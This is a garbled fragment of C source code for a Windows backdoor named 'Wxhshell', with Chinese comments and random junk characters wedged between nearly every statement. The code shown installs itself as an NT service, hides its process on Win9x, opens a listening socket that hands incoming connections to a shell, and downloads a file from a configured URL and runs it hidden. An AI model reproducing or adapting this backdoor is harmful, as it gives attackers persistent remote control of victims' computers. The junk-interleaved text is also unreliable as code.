V?* 1| J4i0+u CloseHandle(hProcess); ZlzFmNe60 -(EqBr@_ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :JYOC+#q7 if(hProcess==NULL) return 0; ] W_T(C* Pt+_0OsR HMODULE hMod; }1wuH char procName[255]; I_rVeMw= unsigned long cbNeeded; Fz% n!d XEI]T~ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (
9l|^w[" K]l)z* I CloseHandle(hProcess); plq\D.C 14R))Dz" if(strstr(procName,"services")) return 1; // 以服务启动 =Sq7U^(> y8@!2O4 return 0; // 注册表启动 sBwgl9 } cg5DyQ( `g~-5Z~J // 主模块 AXCJFqk; int StartWxhshell(LPSTR lpCmdLine) J,7\/O(`A { %y q}4[S+o SOCKET wsl; :?J$ +bm} BOOL val=TRUE; 'e@}N)IX int port=0; 'Vd>"ti struct sockaddr_in door; NO1PGen s5HbuyR^ if(wscfg.ws_autoins) Install(); 7^F?key? LFC k6 R port=atoi(lpCmdLine); >+r2I% 6FE[snw if(port<=0) port=wscfg.ws_port; tdm /U VbjFQ@[l! WSADATA data; M<nn+vy` if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~xCy(dL^} fu/c)D6u*m if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; w#XJ!f6*_9 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >Vvc55z door.sin_family = AF_INET; Evc
9k door.sin_addr.s_addr = inet_addr("127.0.0.1"); &}r932 door.sin_port = htons(port); KB^IGF 5eYCnc9 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;k0*@c* closesocket(wsl); fOJyY[ return 1; dj=n1f+;[ } B06/mKZ7 };*5+XY^ if(listen(wsl,2) == INVALID_SOCKET) {
]%." closesocket(wsl); &Lw| t_y return 1; [o~w>,a } ZD/!C9:&.0 Wxhshell(wsl); ;p/@tr9 WSACleanup(); 8c9_=8vw >\'yj|
U, return 0; ~BC5no ?=,tcN } 8HzEH-J
aF:I]]TfK~ // 以NT服务方式启动 l},%g%}iMU VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p82qFzq# { i=ba=-"Mt DWORD status = 0; j{vzCRa>8 DWORD specificError = 0xfffffff; MI/1uw ]mp.KvB serviceStatus.dwServiceType = SERVICE_WIN32; VioVtP0
serviceStatus.dwCurrentState = SERVICE_START_PENDING; KH;e)91 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; eR/7*G5 serviceStatus.dwWin32ExitCode = 0; a4wh-35/ serviceStatus.dwServiceSpecificExitCode = 0; 3eB2=_V` serviceStatus.dwCheckPoint = 0; (8I0%n}.Zo serviceStatus.dwWaitHint = 0; <1y%ch; UX?_IgJh<" hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0V^?~ex if (hServiceStatusHandle==0) return; Abl=Ev B 5?(gb" status = GetLastError(); R1nctA: if (status!=NO_ERROR) |^1eL I { m*'#`v Ibb serviceStatus.dwCurrentState = SERVICE_STOPPED; %63<Iz" serviceStatus.dwCheckPoint = 0; [\!S-: serviceStatus.dwWaitHint = 0; {E9Y)Z9 serviceStatus.dwWin32ExitCode = status; |89`O^ serviceStatus.dwServiceSpecificExitCode = specificError; u!Z&c7kPI SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7
MfpZgC return; u$0>K,f } 8S0)_L#S w4OVfTlN serviceStatus.dwCurrentState = SERVICE_RUNNING; K46\Rm_:B; serviceStatus.dwCheckPoint = 0; g$<@! serviceStatus.dwWaitHint = 0; P=h2Z,2 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); = *sP,
6 } a7+BAma< <Z vG& // 处理NT服务事件,比如:启动、停止 =q._Qsj?fu VOID WINAPI NTServiceHandler(DWORD fdwControl) o5)U3U1| { A`@we switch(fdwControl) f.,-KIiF { 9+L!
A case SERVICE_CONTROL_STOP: Q/< $ (Y serviceStatus.dwWin32ExitCode = 0; )P$
IXA\ serviceStatus.dwCurrentState = SERVICE_STOPPED; gAE}3// serviceStatus.dwCheckPoint = 0; eC1cE serviceStatus.dwWaitHint = 0; '{J!5x?L^ { #hai3>9|B SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hi?],5,/ } E_h 9y return; $,
=n case SERVICE_CONTROL_PAUSE: '?-GZ0oM serviceStatus.dwCurrentState = SERVICE_PAUSED; Jzr(A^vwo break; U $+rlw} case SERVICE_CONTROL_CONTINUE: l_8t[ serviceStatus.dwCurrentState = SERVICE_RUNNING; s?=J#WV1y break; ,3^N_>d$W case SERVICE_CONTROL_INTERROGATE: Tj>~#~ break; $N+azal+y }; >%7iL#3% SetServiceStatus(hServiceStatusHandle, &serviceStatus); t?/#:J*_7 } %
$
5hC9 ~<|xS
// 标准应用程序主函数 2LgRgY{Bl int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~oOOCB { TfJB; GE"#.J4z // 获取操作系统版本 tn p]wZ OsIsNt=GetOsVer(); rtY0? GetModuleFileName(NULL,ExeFile,MAX_PATH); n&@\[,B /$B<+;L!# // 从命令行安装 vHao
y if(strpbrk(lpCmdLine,"iI")) Install(); 50CU| N?~K9jGx( // 下载执行文件 ?4xTA
if(wscfg.ws_downexe) { =6? 3c\ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H*l8,*M} WinExec(wscfg.ws_filenam,SW_HIDE); /9[nogP } eX}uZR VDscZt)y8 if(!OsIsNt) { C[~b6UP // 如果时win9x,隐藏进程并且设置为注册表启动 gvz&ppcG HideProc(); sB /*gO StartWxhshell(lpCmdLine); Fm*O&6W\@A } s7=]!7QGS! else -FJ5N}R if(StartFromService()) 65MR(+3 // 以服务方式启动 {+Eq{8m` StartServiceCtrlDispatcher(DispatchTable); NC0x!tJ#7 else bGDV9su // 普通方式启动 x3)qK6,\ StartWxhshell(lpCmdLine); hMi[MB7~ xHI>CNC, return 0; D7 .R
NXo }
|